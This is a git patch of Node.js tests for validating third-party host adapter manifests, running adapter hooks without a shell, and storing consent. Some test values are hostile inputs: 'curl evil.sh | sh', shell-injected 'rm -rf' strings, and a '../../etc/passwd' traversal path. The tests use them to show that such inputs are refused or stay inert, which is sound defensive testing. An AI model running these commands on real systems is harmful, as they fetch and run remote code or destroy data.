source: path.join(FIXTURE_ROOT, 'manifest-with-extraneous-field.json') }] }, + readManifest: readManifestFromFile, + consent: { recordedHashFor: neverCalled('recordedHashFor'), isTrusted: neverCalled('isTrusted') }, + }); + assert.equal(results[0].admitted, false, 'the manifest with the added field must never be admitted'); + assert.equal(results[0].reason, 'unknown-field'); + } finally { + fs.rmSync(tempDir, { recursive: true, force: true }); + } +}); + +// ── P2 finding 8: revokeConsent must not walk the prototype chain ────────── +// `name in store` (the `in` operator) checks the prototype chain, not just +// own properties. revokeConsent('constructor') — or 'toString', +// 'hasOwnProperty', ... — used to read true off Object.prototype and report +// having revoked consent for an adapter that was never actually consented +// to, which is a lie a caller (a future `ak host adapters` CLI) could act on. +test("revokeConsent('constructor') on a store that never consented to it returns false, not a prototype-chain lie", () => { + const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-conformance-consent-')); + const consentFile = path.join(tempDir, 'adapter-consent.json'); + try { + for (const protoName of ['constructor', 'toString', 'hasOwnProperty', '__proto__']) { + assert.equal(revokeConsent(protoName, { file: consentFile }), false, + `revokeConsent('${protoName}') on a never-consented store must be false, not a prototype-chain hit`); + } + // A REAL consented adapter must still revoke correctly (own-property path + // still works; this isn't just "everything returns false now"). + recordConsent('acme', 'deadbeef', { file: consentFile }); + assert.equal(revokeConsent('acme', { file: consentFile }), true); + assert.equal(recordedHashFor('acme', { file: consentFile }), null); + } finally { + fs.rmSync(tempDir, { recursive: true, force: true }); + } +}); diff --git a/tests/kit/adapter-hook-runner.test.mjs b/tests/kit/adapter-hook-runner.test.mjs new file mode 100644 index 0000000..b0f7955 --- /dev/null +++ b/tests/kit/adapter-hook-runner.test.mjs @@ -0,0 +1,182 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { runAdapterHook } from '../../src/lib/adapters/hook-runner.mjs'; +import { + recordedHashFor, isTrusted, recordConsent, revokeConsent, adapterConsentPath, +} from '../../src/lib/adapters/consent.mjs'; + +const NODE = process.execPath; + +test('happy path: an echo script runs and returns ok with captured stdout', async () => { + const result = await runAdapterHook({ + hook: { command: [NODE, '-e', "console.log('hello-hook')"] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + assert.equal(result.exitCode, 0); + assert.equal(result.detail, null); + assert.ok(result.stdout.includes('hello-hook'), result.stdout); +}); + +test('argv arrives literally — no shell, so shell metacharacters never execute', async () => { + const literal = '; rm -rf /tmp/should-not-run && echo pwned'; + const result = await runAdapterHook({ + // `node -e` has no script-path slot, so the first extra argv entry lands + // at process.argv[1] (verified empirically, not assumed). + hook: { command: [NODE, '-e', 'console.log(process.argv[1])', literal] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + // Strongest proof of no shell interpretation: the single logged line is + // exactly the literal, unsplit and unexpanded. If a shell had interpreted + // it, stdout would instead show an `rm` failure followed by a bare + // "pwned" line from the injected `echo`. + assert.equal(result.stdout.trim(), literal); +}); + +test('a nonexistent binary reports ok:false without throwing', async () => { + const result = await runAdapterHook({ + hook: { command: ['definitely-not-a-real-binary-xyz123'] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, false); + assert.equal(result.exitCode, null); + assert.equal(result.stdout, ''); + assert.ok(typeof result.detail === 'string' && result.detail.length > 0); +}); + +test('a hook that outlives its timeout is killed and reports ok:false with captured-so-far output', async () => { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', "console.log('before-sleep'); setTimeout(() => {}, 60000);"], + }, + hostId: 'claude', verb: 'discover', timeoutMs: 200, + }); + assert.equal(result.ok, false); + assert.equal(result.exitCode, null); + assert.ok(result.stdout.includes('before-sleep'), result.stdout); + assert.ok(/timed out/i.test(result.detail ?? ''), result.detail); +}); + +test('hook.timeoutMs and the caller timeoutMs both apply — the tighter one wins', async () => { + // hook declares a generous 60s budget; the caller imposes a much tighter + // 200ms ceiling. The call must not wait anywhere near 60s. + const start = Date.now(); + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', 'setTimeout(() => {}, 60000);'], + timeoutMs: 60_000, + }, + hostId: 'claude', verb: 'discover', timeoutMs: 200, + }); + const elapsedMs = Date.now() - start; + assert.equal(result.ok, false); + assert.ok(elapsedMs < 5_000, `expected the tighter 200ms timeout to win, took ${elapsedMs}ms`); +}); + +test('combined stdout+stderr output is capped at 256KB with a truncation marker', async () => { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', "process.stdout.write('a'.repeat(400 * 1024));"], + }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + assert.ok(Buffer.byteLength(result.stdout, 'utf8') <= 256 * 1024 + 200); + assert.ok(/truncated/i.test(result.stdout)); +}); + +test('env is minimal: PATH is present, an unrelated process.env canary is not', async () => { + process.env.AK_TEST_CANARY_SECRET = 'do-not-leak'; + try { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', "console.log(JSON.stringify({ path: process.env.PATH ?? null, canary: process.env.AK_TEST_CANARY_SECRET ?? null }))"], + }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, true); + const parsed = JSON.parse(result.stdout.trim()); + assert.ok(parsed.path, 'PATH must be present in the child env'); + assert.equal(parsed.canary, null, 'unrelated process.env entries must not leak to the adapter'); + } finally { + delete process.env.AK_TEST_CANARY_SECRET; + } +}); + +test('caller-passed env entries are forwarded to the hook', async () => { + const result = await runAdapterHook({ + hook: { + command: [NODE, '-e', 'console.log(process.env.AK_TEST_ALLOWED ?? "MISSING")'], + }, + hostId: 'claude', verb: 'discover', env: { AK_TEST_ALLOWED: 'yes' }, + }); + assert.equal(result.ok, true); + assert.ok(result.stdout.includes('yes')); +}); + +test('a non-zero exit is reported as ok:false with the exit code preserved', async () => { + const result = await runAdapterHook({ + hook: { command: [NODE, '-e', 'process.exit(7)'] }, + hostId: 'claude', verb: 'discover', + }); + assert.equal(result.ok, false); + assert.equal(result.exitCode, 7); +}); + +// --- consent.mjs ----------------------------------------------------------- + +function sandboxFile() { + const dir = fs.mkdtempSync(path.join(os.tmpdir(), 'ak-adapter-consent-')); + return path.join(dir, 'nested', 'adapter-consent.json'); +} + +test('recordConsent then isTrusted with the same hash is trusted', () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + assert.equal(isTrusted('my-adapter', 'sha256:abc123', { file }), true); + assert.equal(recordedHashFor('my-adapter', { file }), 'sha256:abc123'); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +test('a different hash (edited adapter) is untrusted', () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + assert.equal(isTrusted('my-adapter', 'sha256:def456', { file }), false); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +test('revokeConsent removes trust', () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + assert.equal(revokeConsent('my-adapter', { file }), true); + assert.equal(isTrusted('my-adapter', 'sha256:abc123', { file }), false); + assert.equal(recordedHashFor('my-adapter', { file }), null); + assert.equal(revokeConsent('my-adapter', { file }), false, 'revoking again finds nothing to remove'); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +// POSIX-only: NTFS does not carry Unix permission bits, so `mode & 0o777` +// never reflects the 0600 the store requests on Windows. The 0600 write is +// still made (fs.writeFileSync mode option); this asserts the observable bits +// where the platform has them. +test('the consent file is written with mode 0600', { skip: process.platform === 'win32' }, () => { + const file = sandboxFile(); + recordConsent('my-adapter', 'sha256:abc123', { file }); + const mode = fs.statSync(file).mode & 0o777; + assert.equal(mode, 0o600); + fs.rmSync(path.dirname(path.dirname(file)), { recursive: true, force: true }); +}); + +test('a missing consent file returns null/false without throwing', () => { + const file = path.join(os.tmpdir(), `ak-adapter-consent-missing-${process.pid}-${Date.now()}.json`); + assert.equal(recordedHashFor('my-adapter', { file }), null); + assert.equal(isTrusted('my-adapter', 'sha256:abc123', { file }), false); +}); + +test('adapterConsentPath resolves under the kit config dir', () => { + assert.ok(adapterConsentPath().endsWith(path.join('agentic-kit', 'adapter-consent.json'))); +}); diff --git a/tests/kit/adapter-manifest.test.mjs b/tests/kit/adapter-manifest.test.mjs new file mode 100644 index 0000000..33ca128 --- /dev/null +++ b/tests/kit/adapter-manifest.test.mjs @@ -0,0 +1,283 @@ +// Adapter Contract Dossier — schema layer. Every structural cap must reject +// a manifest at validation time (ineligible claims are INEXPRESSIBLE), each +// with a distinguishable `.reason`, never merely at some later runtime check. +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import fs from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { + validateAdapterManifest, DRIVING_SURFACES, MANIFEST_TRUST_KINDS, ManifestRejected, +} from '../../src/lib/adapters/manifest.mjs'; + +function validHost(overrides = {}) { + return { + id: 'hermes', + label: 'Hermes', + install: { bin: 'hermes', externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: true, + commandStatusline: false, transcripts: true, usage: false, + nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, + configProjection: 'ruflo', + observability: [], + ...overrides, + }; +} + +function validManifest(overrides = {}) { + return { + name: 'hermes', + version: '1.0.0', + contract: 1, + host: validHost(), + detection: { bin: 'hermes', versionArgs: ['--version'], versionPattern: '\\d+\\.\\d+\\.\\d+' }, + driving: { surfaces: ['acp'] }, + trust: { + changes: [{ + id: 'hermes-subprocess-hooks', kind: 'third-party-adapter', scope: 'project', + owner: 'hermes', value: 'subprocess hooks', effect: 'run consented lifecycle hooks for hermes', + }], + }, + ...overrides, + }; +} + +function rejects(value, reason) { + assert.throws(() => validateAdapterManifest(value), (error) => { + assert.ok(error instanceof ManifestRejected, `expected ManifestRejected, got ${error?.constructor?.name}`); + assert.equal(error.reason, reason, `expected reason '${reason}', got '${error.reason}': ${error.message}`); + return true; + }); +} + +test('accepts a minimal valid manifest and returns a frozen copy', () => { + const manifest = validateAdapterManifest(validManifest()); + assert.equal(manifest.name, 'hermes'); + assert.equal(manifest.contract, 1); + assert.equal(manifest.host.id, 'hermes'); + assert.ok(Object.isFrozen(manifest)); + assert.ok(Object.isFrozen(manifest.host)); + assert.ok(Object.isFrozen(manifest.detection)); +}); + +test('accepts an optional lifecycle block naming real verbs', () => { + const manifest = validateAdapterManifest(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'], timeoutMs: 5000 } } }, + })); + assert.deepEqual(manifest.lifecycle.detect.hook.command, ['hermes', 'detect']); +}); + +test('omits lifecycle entirely when the manifest declares none', () => { + const manifest = validateAdapterManifest(validManifest()); + assert.equal('lifecycle' in manifest, false); +}); + +test('DRIVING_SURFACES names the current driving vocabulary', () => { + assert.deepEqual([...DRIVING_SURFACES], ['cli-subprocess', 'acp', 'mcp']); +}); + +test('MANIFEST_TRUST_KINDS is the manifest-scoped trust vocabulary', () => { + assert.deepEqual([...MANIFEST_TRUST_KINDS], ['third-party-adapter']); +}); + +// ── structural caps ───────────────────────────────────────────────────────── + +test('cap: host.capabilities.canBePrimary:true is rejected, named reason', () => { + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, canBePrimary: true } }) }), 'cap-can-be-primary'); +}); + +test('cap: host.capabilities.commandStatusline:true is rejected, named reason', () => { + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, commandStatusline: true } }) }), 'cap-command-statusline'); +}); + +test('cap: a non-null host.legacy.aqeProvider is rejected, named reason', () => { + rejects(validManifest({ host: validHost({ legacy: { aqeProvider: 'claude-code' } }) }), 'cap-aqe-provider'); +}); + +test('cap: host.legacy.aqeProvider: null is accepted (the honest default)', () => { + const manifest = validateAdapterManifest(validManifest({ host: validHost({ legacy: { aqeProvider: null } }) })); + assert.equal(manifest.host.legacy.aqeProvider, null); +}); + +test('cap: guidanceFile path traversal is rejected at schema level, named reason', () => { + rejects(validManifest({ host: validHost({ legacy: { guidanceFile: '../../etc/passwd' } }) }), 'invalid-guidance-file'); +}); + +test('cap: a slug-shaped guidanceFile is accepted', () => { + const manifest = validateAdapterManifest(validManifest({ host: validHost({ legacy: { guidanceFile: 'hermes-guidance' } }) })); + assert.equal(manifest.host.legacy.guidanceFile, 'hermes-guidance'); +}); + +// ── general structural validation ─────────────────────────────────────────── + +test('manifest.name must be id-shaped', () => { + rejects(validManifest({ name: 'Hermes CLI!' }), 'invalid-id'); +}); + +test('manifest.version must be semver', () => { + rejects(validManifest({ version: 'v1' }), 'invalid-version'); +}); + +test('manifest.contract must be a positive integer', () => { + rejects(validManifest({ contract: 0 }), 'invalid-contract'); + rejects(validManifest({ contract: '1' }), 'invalid-contract'); +}); + +test('an invalid host sub-object is rejected with the wrapped host error', () => { + rejects(validManifest({ host: { ...validHost(), install: undefined } }), 'invalid-host'); +}); + +test('detection.bin must be id-shaped (rejects shell-metacharacter payloads)', () => { + rejects(validManifest({ detection: { bin: 'hermes; rm -rf /' } }), 'invalid-detection'); +}); + +test('detection.versionPattern must be a valid regular expression source', () => { + rejects(validManifest({ detection: { bin: 'hermes', versionPattern: '(unterminated' } }), 'invalid-detection'); +}); + +test('driving.surfaces rejects an unknown surface', () => { + rejects(validManifest({ driving: { surfaces: ['telepathy'] } }), 'invalid-driving-surfaces'); +}); + +test('driving.surfaces rejects an empty array', () => { + rejects(validManifest({ driving: { surfaces: [] } }), 'invalid-driving-surfaces'); +}); + +test('lifecycle rejects an unknown verb key', () => { + rejects(validManifest({ lifecycle: { launch: { hook: { command: ['hermes'] } } } }), 'invalid-lifecycle-verb'); +}); + +test('lifecycle rejects a hook with an empty command array', () => { + rejects(validManifest({ lifecycle: { detect: { hook: { command: [] } } } }), 'invalid-lifecycle-hook'); +}); + +test('lifecycle rejects a non-positive hook timeoutMs', () => { + rejects(validManifest({ lifecycle: { detect: { hook: { command: ['hermes'], timeoutMs: 0 } } } }), 'invalid-lifecycle-hook'); +}); + +test('trust.changes rejects a change missing required fields', () => { + rejects(validManifest({ trust: { changes: [{ id: 'x', kind: 'third-party-adapter', scope: 'project' }] } }), 'invalid-trust'); +}); + +test('trust.changes rejects an unknown kind', () => { + rejects(validManifest({ trust: { changes: [{ id: 'x', kind: 'auto-approve', scope: 'project', owner: 'a', value: 'b', effect: 'c' }] } }), 'invalid-trust'); +}); + +test('trust.changes rejects a duplicate id', () => { + rejects(validManifest({ + trust: { + changes: [ + { id: 'dup', kind: 'third-party-adapter', scope: 'project', owner: 'a', value: 'b', effect: 'c' }, + { id: 'dup', kind: 'third-party-adapter', scope: 'project', owner: 'a', value: 'b', effect: 'c' }, + ], + }, + }), 'invalid-trust'); +}); + +// ── P0-A: strict allowlists (Wave 4 security remediation) ────────────────── +// Before this fix, an unrecognized TOP-LEVEL key was silently DROPPED (not +// rejected) before hashing — so a consent hash could cover content the +// operator never reviewed — and unrecognized NESTED keys under host/ +// host.install/host.legacy survived verbatim (those sub-validators +// structuredClone the whole input). Every case below must now be REFUSED, +// not silently dropped or passed through. + +test('unknown-field: an extraneous top-level key is refused, not silently dropped', () => { + rejects(validManifest({ postInstall: 'curl evil.sh | sh' }), 'unknown-field'); +}); + +test('unknown-field: an extraneous host key is refused, not silently passed through', () => { + rejects(validManifest({ host: { ...validHost(), evilField: { rce: true } } }), 'unknown-field'); +}); + +test('unknown-field: an extraneous host.install key is refused', () => { + rejects(validManifest({ + host: validHost({ install: { bin: 'hermes', externalInstallPolicy: 'detect-never-overwrite', rce: true } }), + }), 'unknown-field'); +}); + +test('unknown-field: an extraneous host.legacy key is refused (not merely an unused one)', () => { + rejects(validManifest({ host: validHost({ legacy: { evilField: 'rce' } }) }), 'unknown-field'); +}); + +test('external-npm-package: host.install.npmPackage is forbidden for an external adapter', () => { + rejects(validManifest({ + host: validHost({ install: { bin: 'hermes', npmPackage: 'evil-pkg', externalInstallPolicy: 'detect-never-overwrite' } }), + }), 'external-npm-package'); +}); + +test('invalid-install-bin: an absolute path is rejected', () => { + rejects(validManifest({ + host: validHost({ install: { bin: '/abs/evil', externalInstallPolicy: 'detect-never-overwrite' } }), + }), 'invalid-install-bin'); +}); + +test('invalid-install-bin: a path-traversal token is rejected', () => { + rejects(validManifest({ + host: validHost({ install: { bin: '../../x', externalInstallPolicy: 'detect-never-overwrite' } }), + }), 'invalid-install-bin'); +}); + +test('legitimate legacy fields (the built-ins actually use) still round-trip', () => { + const manifest = validateAdapterManifest(validManifest({ + host: validHost({ + legacy: { + guidanceFile: 'hermes-guidance', configFormat: 'json', + statusline: { mode: 'builtin' }, aqeProvider: null, envMarkers: ['HERMES_SESSION'], enableEnv: 'ENABLE_HERMES', + }, + }), + })); + assert.equal(manifest.host.legacy.enableEnv, 'ENABLE_HERMES'); + assert.deepEqual(manifest.host.legacy.envMarkers, ['HERMES_SESSION']); +}); + +test('a legitimate host.auth block still round-trips (a real downstream reader, hosts.mjs)', () => { + const manifest = validateAdapterManifest(validManifest({ + host: validHost({ auth: { apiKeyEnv: ['HERMES_API_KEY'], loginFile: ['.hermes', 'auth.json'], keyOverridesLogin: false } }), + })); + assert.deepEqual(manifest.host.auth.apiKeyEnv, ['HERMES_API_KEY']); +}); + +test('the real acme fixture manifest still admits after the allowlist tightening', () => { + const fixture = JSON.parse(fs.readFileSync( + path.join(path.dirname(fileURLToPath(import.meta.url)), '../fixtures/adapters/acme/manifest.json'), + 'utf8', + )); + const manifest = validateAdapterManifest(fixture); + assert.equal(manifest.host.id, 'acme'); +}); + +// ── Completeness: the allowlist is uniform across every sub-structure, so the +// "structural caps are inexpressible" property holds at every level, not just +// top-level and host (lead's post-review hardening). ── +test('unknown-field: an extraneous detection key is refused', () => { + rejects(validManifest({ detection: { bin: 'hermes', evilProbe: 'x' } }), 'unknown-field'); +}); + +test('unknown-field: an extraneous driving key is refused', () => { + rejects(validManifest({ driving: { surfaces: ['acp'], escalate: true } }), 'unknown-field'); +}); + +test('unknown-field: an extraneous lifecycle hook key is refused', () => { + rejects(validManifest({ + lifecycle: { detect: { hook: { command: ['hermes', 'detect'], cwd: '/tmp' } } }, + }), 'unknown-field'); +}); + +test('unknown-field: an extraneous trust-change key is refused', () => { + rejects(validManifest({ + trust: { changes: [{ + id: 'x', kind: 'third-party-adapter', scope: 'project', + owner: 'h', value: 'v', effect: 'e', escalate: true, + }] }, + }), 'unknown-field'); +}); + +test('unknown-field: an extra or miscased capability key cannot ride along inert', () => { + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, CanBePrimary: true } }) }), 'unknown-field'); + rejects(validManifest({ host: validHost({ capabilities: { ...validHost().capabilities, ADMIN: true } }) }), 'unknown-field'); +}); diff --git a/tests/kit/execution-runner.test.mjs b/tests/kit/execution-runner.test.mjs index ef35de9..8cca879 100644 --- a/tests/kit/execution-runner.test.mjs +++ b/tests/kit/execution-runner.test.mjs @@ -1,6 +1,7 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; import { EXECUTION_ADAPTERS, assertBuiltinAdaptersRoutable, executionAdapterFor } from '../../src/lib/execution/adapters.mjs'; +import { applyAdmitted, resetAdmitted } from '../../src/lib/adapters/admitted.mjs'; import { executeRunPlan } from '../../src/lib/execution/runner.mjs'; const worker = (id, host = 'opencode', dependsOn) => ({ id, activity: 'implementation', role: 'coder', host, prompt: id, ...(dependsOn ? { dependsOn } : {}) }); @@ -492,6 +493,30 @@ test('executionAdapterFor resolves built-ins identically to the old map, and nul assert.equal(executionAdapterFor('future-host'), null); }); +// P2 finding 10: executionAdapterFor used to have a dead branch +// (`if (admittedHostIds().includes(hostId)) return null;`) that returned +// null either way — same as the fallthrough below it. Pinning that removing +// it changed no observable behavior: an admitted host still resolves to +// null (admitted hosts have no execution adapter this wave, full stop). +test('executionAdapterFor returns null for an admitted host id too (no execution adapter this wave)', () => { + applyAdmitted([{ + entry: { + id: 'admitted-probe', label: 'Probe', install: { bin: 'admitted-probe', externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: false, + commandStatusline: false, transcripts: false, usage: false, nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, configProjection: 'ruflo', observability: [], + }, + }]); + try { + assert.equal(executionAdapterFor('admitted-probe'), null); + } finally { + resetAdmitted(); + } +}); + // #88 (amended W1-B): a routed plan naming a host with no built-in adapter // degrades that one worker instead of crashing the run. This is the SAME // code path as "runner reports an unknown host without attempting a diff --git a/tests/kit/lifecycle-registry.test.mjs b/tests/kit/lifecycle-registry.test.mjs index d90e38d..ded2a83 100644 --- a/tests/kit/lifecycle-registry.test.mjs +++ b/tests/kit/lifecycle-registry.test.mjs @@ -11,11 +11,14 @@ import fs from 'node:fs'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { - registerBuiltinLifecycle, lifecycleAdapterFor, hostsWithLifecycle, + registerBuiltinLifecycle, registerAdmittedLifecycle, lifecycleAdapterFor, + hostsWithLifecycle, builtinHostsWithLifecycle, } from '../../src/lib/adapters/lifecycle-registry.mjs'; import { OPENCODE_LIFECYCLE_ADAPTER } from '../../src/lib/opencode.mjs'; import { validateLifecycleAdapter } from '../../src/lib/adapters/lifecycle.mjs'; import { HOST_REGISTRY } from '../../src/lib/adapters/index.mjs'; +import { validateAdapterManifest } from '../../src/lib/adapters/manifest.mjs'; +import { applyAdmitted, resetAdmitted } from '../../src/lib/adapters/admitted.mjs'; import { fakeLifecycleAdapter, fakeSurface } from './helpers/lifecycle-harness.mjs'; const ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '../..'); @@ -84,3 +87,75 @@ for (const rel of [ `${rel} must reach opencode's lifecycle adapter via lifecycleAdapterFor(...), not a named import`); }); } + +for (const rel of ['commands/sync.mjs', 'commands/setup.mjs', 'commands/uninstall.mjs']) { + test(`${rel} loops builtinHostsWithLifecycle(), not hostsWithLifecycle() (Wave 4 P1: armed opencode-shaped-loop crash)`, () => { + const text = src(rel); + assert.ok(text.includes('builtinHostsWithLifecycle'), + `${rel}'s lifecycle loop must use builtinHostsWithLifecycle() — its loop body destructures an opencode-shaped result and would crash on a non-opencode admitted host`); + }); +} + +// ── P1: the armed opencode-shaped-loop crash ──────────────────────────────── +// setup.mjs/sync.mjs/uninstall.mjs's lifecycle loops destructure an +// opencode-shaped result (stack.oc / ret.undo / ret.artifacts). Today only +// opencode is registered, so that's unreachable — but registerAdmittedLifecycle +// exists precisely to admit a non-opencode-shaped host's lifecycle adapter, +// and hostsWithLifecycle() (a pure effectiveHostRegistry() query) would then +// include it too, handing that host straight into the shape-dependent loops. +// builtinHostsWithLifecycle() must stay built-ins-only regardless. +test('builtinHostsWithLifecycle() excludes an admitted external host even after its lifecycle is registered', () => { + const hostId = 'hermes-lifecycle-probe'; + const host = { + id: hostId, + label: 'Hermes', + install: { bin: hostId, externalInstallPolicy: 'detect-never-overwrite' }, + capabilities: { + canDriveSession: true, canBePrimary: false, canRouteActivities: true, + commandStatusline: false, transcripts: true, usage: false, + nativeMcpConfig: false, nativeGuidance: false, + }, + trust: { approvalPolicy: 'unchanged', changes: [] }, + enabledByDefault: false, + configProjection: 'ruflo', + observability: [], + }; + const manifest = validateAdapterManifest({ + name: hostId, + version: '1.0.0', + contract: 1, + host, + detection: { bin: hostId }, + driving: { surfaces: ['acp'] }, + lifecycle: { detect: { hook: { command: [hostId, 'detect'] } } }, + trust: { + changes: [{ + id: 'hermes-subprocess-hooks', kind: 'third-party-adapter', scope: 'project', + owner: 'hermes', value: 'subprocess hooks', effect: 'run consented lifecycle hooks for hermes', + }], + }, + }); + + // Baseline BEFORE admitting anything — not a literal ['opencode'], because + // an earlier test in this same file (registerBuiltinLifecycle('claude', ...)) + // mutates the real, process-shared LIFECYCLE_ADAPTERS map too. The + // invariant under test is "unaffected by registering an external", so + // compare against a live before/after snapshot instead of a hardcoded list. + const before = builtinHostsWithLifecycle(); + + applyAdmitted([{ entry: host }]); + try { + registerAdmittedLifecycle(manifest, { runHook: async () => ({ ok: true, stdout: '{}', exitCode: 0 }) }); + + assert.ok(hostsWithLifecycle().includes(hostId), + 'sanity: the pure registry query DOES see the admitted, lifecycle-registered host'); + assert.ok( + !builtinHostsWithLifecycle().includes(hostId), + 'the setup/sync/uninstall-facing function must never include an admitted external, even once its lifecycle is registered', + ); + assert.deepEqual(builtinHostsWithLifecycle(), before, + 'builtinHostsWithLifecycle() must be unaffected by registering an external lifecycle adapter'); + } finally { + resetAdmitted(); + } +}); diff --git a/tests/kit/settings-config.test.mjs b/tests/kit/settings-config.test.mjs index 070dbc6..64fb11d 100644 --- a/tests/kit/settings-config.test.mjs +++ b/tests/kit/settings-config.test.mjs @@ -127,10 +127,13 @@ function captureConsole(fn) { test('loadKitConfig warns once on an unrecognized top-level key, naming it', () => { const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'kit-cfg-unknown-')); const f = tmpFile(tmp, 'kit.json'); - fs.writeFileSync(f, JSON.stringify({ hostAdapters: { foo: true } })); + // NOT `hostAdapters` — Wave 4 (adapter door) recognizes that key now + // (src/lib/config.mjs DEFAULTS.hostAdapters), so it's a poor example of an + // unrecognized one. Any still-genuinely-unknown key exercises the same path. + fs.writeFileSync(f, JSON.stringify({ someUnknownFutureKey: { foo: true } })); const { errLines } = captureConsole(() => loadKitConfig(f)); assert.equal(errLines.length, 1); - assert.match(errLines[0], /hostAdapters/); + assert.match(errLines[0], /someUnknownFutureKey/); assert.match(errLines[0], /not recognized/); fs.rmSync(tmp, { recursive: true, force: true }); }); From e66fb5ee01b0556011a502a6efc7a2d8a9013769 Mon Sep 17 00:00:00 2001 From: Chris Phillipson Date: Sat, 15 Aug 2026 19:37:04 -0400 Subject: [PATCH 8/9] =?UTF-8?q?feat:=20phase=203=20=E2=80=94=20capability-?= =?UTF-8?q?derived=20host=20tiers,=20asymmetry=20notes,=20open-set=20docs?= =?UTF-8?q?=20(D-2/F-25/F-26/F-27)=20(#150)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * feat: host tiers and asymmetries render from capabilities, not host names Phase 3 (D-2, F-25, F-26): hostTierLabel() derives a plain phrase from a host's capabilities — 'drives sessions · can lead' for a primary host, 'routing only · supervised · not AQE' for a supervised one, 'routing only · external adapter' for an admitted external — replacing x/host.mjs's h.id === 'opencode' tier ternary. hostAsymmetryNote() states the cross-host MCP delegation bridge (F-25) and the permission consent boundary / absent backend env flag (F-26) from each host's own trust manifest and capability set. Both are true by construction for any host, built-in or admitted; no new tier jargon. * docs: the host set is the built-in set, not a closed universe Phase 3 (F-27): HOST-SUPPORT.md presents claude/codex/opencode as the built-in execution hosts and notes external adapters can extend the set behind the experimental flag (ADR-0029), rather than 'the three execution hosts'; ubiquitous-language defines host by registry capability with the three as built-in examples. Current-state voice; every factual row about the built-ins unchanged. --- docs/HOST-SUPPORT.md | 12 ++++- docs/ddd/component-directory.md | 2 +- docs/ddd/ubiquitous-language.md | 5 +- src/commands/x/host.mjs | 6 ++- src/lib/hosts.mjs | 74 ++++++++++++++++++++++++++- tests/kit/host-cli-migration.test.mjs | 18 +++++++ tests/kit/hosts.test.mjs | 67 +++++++++++++++++++++++- 7 files changed, 175 insertions(+), 9 deletions(-) diff --git a/docs/HOST-SUPPORT.md b/docs/HOST-SUPPORT.md index b656161..2c9cdb1 100644 --- a/docs/HOST-SUPPORT.md +++ b/docs/HOST-SUPPORT.md @@ -1,9 +1,17 @@ # Host support: Claude Code, Codex, and OpenCode -This is the canonical compatibility reference for the three execution hosts that -agentic-kit can manage. It compares the host itself, Ruflo, agentic-qe (AQE), and +This is the canonical compatibility reference for agentic-kit's three **built-in** +execution hosts. It compares the host itself, Ruflo, agentic-qe (AQE), and RuvNet Brain without treating those independent layers as interchangeable. +Behind an experimental flag, agentic-kit can also admit **external host adapters** +that extend this set with a host not shipped in-tree — see +[External host adapters](PROVIDERS.md#external-host-adapters-experimental) and +[ADR-0029](adr/0029-host-adapter-extension-point.md). An admitted external host +picks up the same capability-driven treatment described here, but it is not one +of the three built-ins this reference compares, and it can never claim +primary-host, AQE-provider, or status-line status. + Evidence cutoff: **2026-08-04**. The comparison was checked against agentic-kit `4.0.0-alpha.36`, Ruflo `3.34.0`, agentic-qe `3.13.x`, RuvNet Brain `4.0.7`, Claude Code `2.1.222`, Codex CLI `0.146.0`, and OpenCode `1.18.x`. Host and diff --git a/docs/ddd/component-directory.md b/docs/ddd/component-directory.md index d571ba7..200f565 100644 --- a/docs/ddd/component-directory.md +++ b/docs/ddd/component-directory.md @@ -108,7 +108,7 @@ lintable where mechanical): ### Iconography Official marks are used only where the dashboard already ships them as official — the three -host SVGs Observability renders on session rows — and are reused byte-identically so a +built-in host SVGs Observability renders on session rows — and are reused byte-identically so a component looks the same everywhere. Every other component gets a **monogram tile**: its initial(s) on a rounded tile in its category hue. A monogram is an honest "no official mark" statement, not a stand-in logo; if an upstream later publishes a usable mark, swapping it in is diff --git a/docs/ddd/ubiquitous-language.md b/docs/ddd/ubiquitous-language.md index 57004d2..89be81a 100644 --- a/docs/ddd/ubiquitous-language.md +++ b/docs/ddd/ubiquitous-language.md @@ -140,8 +140,9 @@ runtime state is a chip word, never a prose word. See ## Usage rules -- Say **host** when referring to Claude Code, Codex, OpenCode, session drivers, leadership, or - activity routing. +- Say **host** for any session driver or activity-routing target the registry recognizes — + Claude Code, Codex, and OpenCode are the built-in examples, not the exhaustive list — and for + leadership. - Say **inference provider** when referring to Anthropic, OpenAI, OpenRouter, Ollama, billing, provider credentials, or inference 